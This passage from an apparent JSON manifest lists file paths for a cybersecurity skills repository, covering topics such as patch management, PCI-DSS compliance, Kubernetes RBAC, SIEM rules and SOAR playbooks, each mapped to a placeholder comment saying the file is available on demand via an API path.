/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-for-ot-systems%2FSKILL.md -->","skills/implementing-patch-management-for-ot-systems/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-for-ot-systems%2Freferences%2Fapi-reference.md -->","skills/implementing-patch-management-workflow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2FSKILL.md -->","skills/implementing-patch-management-workflow/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Fassets%2Ftemplate.md -->","skills/implementing-patch-management-workflow/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Freferences%2Fapi-reference.md -->","skills/implementing-patch-management-workflow/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Freferences%2Fstandards.md -->","skills/implementing-patch-management-workflow/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Freferences%2Fworkflows.md -->","skills/implementing-pci-dss-compliance-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2FSKILL.md -->","skills/implementing-pci-dss-compliance-controls/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Fassets%2Ftemplate.md -->","skills/implementing-pci-dss-compliance-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-pci-dss-compliance-controls/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Freferences%2Fstandards.md -->","skills/implementing-pci-dss-compliance-controls/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Freferences%2Fworkflows.md -->","skills/implementing-pod-security-admission-controller/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2FSKILL.md -->","skills/implementing-pod-security-admission-controller/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Fassets%2Ftemplate.md -->","skills/implementing-pod-security-admission-controller/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Freferences%2Fapi-reference.md -->","skills/implementing-pod-security-admission-controller/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Freferences%2Fstandards.md -->","skills/implementing-pod-security-admission-controller/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Freferences%2Fworkflows.md -->","skills/implementing-policy-as-code-with-open-policy-agent/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2FSKILL.md -->","skills/implementing-policy-as-code-with-open-policy-agent/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Fassets%2Ftemplate.md -->","skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Freferences%2Fapi-reference.md -->","skills/implementing-policy-as-code-with-open-policy-agent/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Freferences%2Fstandards.md -->","skills/implementing-policy-as-code-with-open-policy-agent/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Freferences%2Fworkflows.md -->","skills/implementing-privileged-access-management-with-cyberark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2FSKILL.md -->","skills/implementing-privileged-access-management-with-cyberark/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Fassets%2Ftemplate.md -->","skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Freferences%2Fapi-reference.md -->","skills/implementing-privileged-access-management-with-cyberark/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Freferences%2Fstandards.md -->","skills/implementing-privileged-access-management-with-cyberark/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Freferences%2Fworkflows.md -->","skills/implementing-privileged-access-workstation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-workstation%2FSKILL.md -->","skills/implementing-privileged-access-workstation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-workstation%2Freferences%2Fapi-reference.md -->","skills/implementing-privileged-session-monitoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-session-monitoring%2FSKILL.md -->","skills/implementing-privileged-session-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-session-monitoring%2Freferences%2Fapi-reference.md -->","skills/implementing-proofpoint-email-security-gateway/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2FSKILL.md -->","skills/implementing-proofpoint-email-security-gateway/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Fassets%2Ftemplate.md -->","skills/implementing-proofpoint-email-security-gateway/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Freferences%2Fapi-reference.md -->","skills/implementing-proofpoint-email-security-gateway/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Freferences%2Fstandards.md -->","skills/implementing-proofpoint-email-security-gateway/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Freferences%2Fworkflows.md -->","skills/implementing-purdue-model-network-segmentation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-purdue-model-network-segmentation%2FSKILL.md -->","skills/implementing-purdue-model-network-segmentation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-purdue-model-network-segmentation%2Freferences%2Fapi-reference.md -->","skills/implementing-ransomware-backup-strategy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2FSKILL.md -->","skills/implementing-ransomware-backup-strategy/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Fassets%2Ftemplate.md -->","skills/implementing-ransomware-backup-strategy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Freferences%2Fapi-reference.md -->","skills/implementing-ransomware-backup-strategy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Freferences%2Fstandards.md -->","skills/implementing-ransomware-backup-strategy/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Freferences%2Fworkflows.md -->","skills/implementing-ransomware-kill-switch-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-kill-switch-detection%2FSKILL.md -->","skills/implementing-ransomware-kill-switch-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-kill-switch-detection%2Freferences%2Fapi-reference.md -->","skills/implementing-rapid7-insightvm-for-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2FSKILL.md -->","skills/implementing-rapid7-insightvm-for-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Fassets%2Ftemplate.md -->","skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-rapid7-insightvm-for-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Freferences%2Fstandards.md -->","skills/implementing-rapid7-insightvm-for-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Freferences%2Fworkflows.md -->","skills/implementing-rbac-hardening-for-kubernetes/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2FSKILL.md -->","skills/implementing-rbac-hardening-for-kubernetes/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Fassets%2Ftemplate.md -->","skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Freferences%2Fapi-reference.md -->","skills/implementing-rbac-hardening-for-kubernetes/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Freferences%2Fstandards.md -->","skills/implementing-rbac-hardening-for-kubernetes/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Freferences%2Fworkflows.md -->","skills/implementing-rsa-key-pair-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2FSKILL.md -->","skills/implementing-rsa-key-pair-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Fassets%2Ftemplate.md -->","skills/implementing-rsa-key-pair-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Freferences%2Fapi-reference.md -->","skills/implementing-rsa-key-pair-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Freferences%2Fstandards.md -->","skills/implementing-rsa-key-pair-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Freferences%2Fworkflows.md -->","skills/implementing-runtime-application-self-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-application-self-protection%2FSKILL.md -->","skills/implementing-runtime-application-self-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-application-self-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-runtime-security-with-tetragon/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2FSKILL.md -->","skills/implementing-runtime-security-with-tetragon/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Fassets%2Ftemplate.md -->","skills/implementing-runtime-security-with-tetragon/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Freferences%2Fapi-reference.md -->","skills/implementing-runtime-security-with-tetragon/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Freferences%2Fstandards.md -->","skills/implementing-runtime-security-with-tetragon/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Freferences%2Fworkflows.md -->","skills/implementing-saml-sso-with-okta/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2FSKILL.md -->","skills/implementing-saml-sso-with-okta/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Fassets%2Ftemplate.md -->","skills/implementing-saml-sso-with-okta/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Freferences%2Fapi-reference.md -->","skills/implementing-saml-sso-with-okta/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Freferences%2Fstandards.md -->","skills/implementing-saml-sso-with-okta/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Freferences%2Fworkflows.md -->","skills/implementing-scim-provisioning-with-okta/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2FSKILL.md -->","skills/implementing-scim-provisioning-with-okta/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Fassets%2Ftemplate.md -->","skills/implementing-scim-provisioning-with-okta/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Freferences%2Fapi-reference.md -->","skills/implementing-scim-provisioning-with-okta/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Freferences%2Fstandards.md -->","skills/implementing-scim-provisioning-with-okta/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Freferences%2Fworkflows.md -->","skills/implementing-secret-scanning-with-gitleaks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2FSKILL.md -->","skills/implementing-secret-scanning-with-gitleaks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Fassets%2Ftemplate.md -->","skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Freferences%2Fapi-reference.md -->","skills/implementing-secret-scanning-with-gitleaks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Freferences%2Fstandards.md -->","skills/implementing-secret-scanning-with-gitleaks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Freferences%2Fworkflows.md -->","skills/implementing-secrets-management-with-vault/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-management-with-vault%2FSKILL.md -->","skills/implementing-secrets-management-with-vault/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-management-with-vault%2Freferences%2Fapi-reference.md -->","skills/implementing-secrets-scanning-in-ci-cd/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-scanning-in-ci-cd%2FSKILL.md -->","skills/implementing-secrets-scanning-in-ci-cd/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-scanning-in-ci-cd%2Freferences%2Fapi-reference.md -->","skills/implementing-security-chaos-engineering/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-chaos-engineering%2FSKILL.md -->","skills/implementing-security-chaos-engineering/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-chaos-engineering%2Freferences%2Fapi-reference.md -->","skills/implementing-security-information-sharing-with-stix2/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-information-sharing-with-stix2%2FSKILL.md -->","skills/implementing-security-information-sharing-with-stix2/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-information-sharing-with-stix2%2Freferences%2Fapi-reference.md -->","skills/implementing-security-monitoring-with-datadog/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-monitoring-with-datadog%2FSKILL.md -->","skills/implementing-security-monitoring-with-datadog/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-monitoring-with-datadog%2Freferences%2Fapi-reference.md -->","skills/implementing-semgrep-for-custom-sast-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-semgrep-for-custom-sast-rules%2FSKILL.md -->","skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-semgrep-for-custom-sast-rules%2Freferences%2Fapi-reference.md -->","skills/implementing-semgrep-for-custom-sast-rules/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-semgrep-for-custom-sast-rules%2Freferences%2Fstandards.md -->","skills/implementing-siem-correlation-rules-for-apt/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-correlation-rules-for-apt%2FSKILL.md -->","skills/implementing-siem-correlation-rules-for-apt/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-correlation-rules-for-apt%2Freferences%2Fapi-reference.md -->","skills/implementing-siem-use-case-tuning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-case-tuning%2FSKILL.md -->","skills/implementing-siem-use-case-tuning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-case-tuning%2Freferences%2Fapi-reference.md -->","skills/implementing-siem-use-cases-for-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-cases-for-detection%2FSKILL.md -->","skills/implementing-siem-use-cases-for-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-cases-for-detection%2Freferences%2Fapi-reference.md -->","skills/implementing-sigstore-for-software-signing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-sigstore-for-software-signing%2FSKILL.md -->","skills/implementing-sigstore-for-software-signing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-sigstore-for-software-signing%2Freferences%2Fapi-reference.md -->","skills/implementing-soar-automation-with-phantom/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-automation-with-phantom%2FSKILL.md -->","skills/implementing-soar-automation-with-phantom/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-automation-with-phantom%2Freferences%2Fapi-reference.md -->","skills/implementing-soar-playbook-for-phishing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-for-phishing%2FSKILL.md -->","skills/implementing-soar-playbook-for-phishing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-for-phishing%2Freferences%2Fapi-reference.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2FSKILL.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Fassets%2Ftemplate.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Freferences%2Fapi-reference.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Freferences%2Fstandards.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Freferences%2Fworkflows.md -->","skills/implementing-stix-taxii-feed-integration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2FSKILL.md -->","skills/implementing-stix-taxii-feed-integration/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Fassets%2Ftemplate.md -->","skills/implementing-stix-taxii-feed-integration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Freferences%2Fapi-reference.md -->","skills/implementing-stix-taxii-feed-integration/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Freferences%2Fstandards.md -->","skills/implementing-stix-taxii-feed-integration/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Freferences%2Fworkflows.md -->","skills/implementing-supply-chain-security-with-in-toto/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2FSKILL.md -->","skills/implementing-supply-chain-security-with-in-toto/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Fassets%2Ftemplate.md -->","skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Freferences%2Fapi-reference.md -->","skills/implementing-supply-chain-security-with-in-toto/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Freferences%2Fstandards.md -->","skills/implementing-supply-chain-security-with-in-toto/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Freferences%2Fworkflows.md -->","skills/implementing-syslog-centralization-with-rsyslog/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-syslog-centralization-with-rsyslog%2FSKILL.md -->","skills/implementing-syslog-centralization-with-rsyslog/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-syslog-centralization-with-rsyslog%2Freferences%2Fapi-reference.md -->","skills/implementing-taxii-server-with-opentaxii/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-taxii-server-with-opentaxii%2FSKILL.md -->","skills/implementing-taxii-server-with-opentaxii/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-taxii-server-with-opentaxii%2Freferences%2Fapi-reference.md -->","skills/implementing-threat-intelligence-lifecycle-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-intelligence-lifecycle-management%2FSKILL.md -->","skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-intelligence-lifecycle-management%2Freferences%2Fapi-reference.md -->","skills/implementing-threat-modeling-with-mitre-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-modeling-with-mitre-attack%2FSKILL.md -->","skills/implementing-threat-modeling-with-mitre-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-modeling-with-mitre-attack%2Freferences%2Fapi-reference.md -->","skills/implementing-ticketing-system-for-incidents/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ticketing-system-for-incidents%2FSKILL.md -->","skills/implementing-ticketing-system-for-incidents/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ticketing-system-for-incidents%2Freferences%2Fapi-reference.md 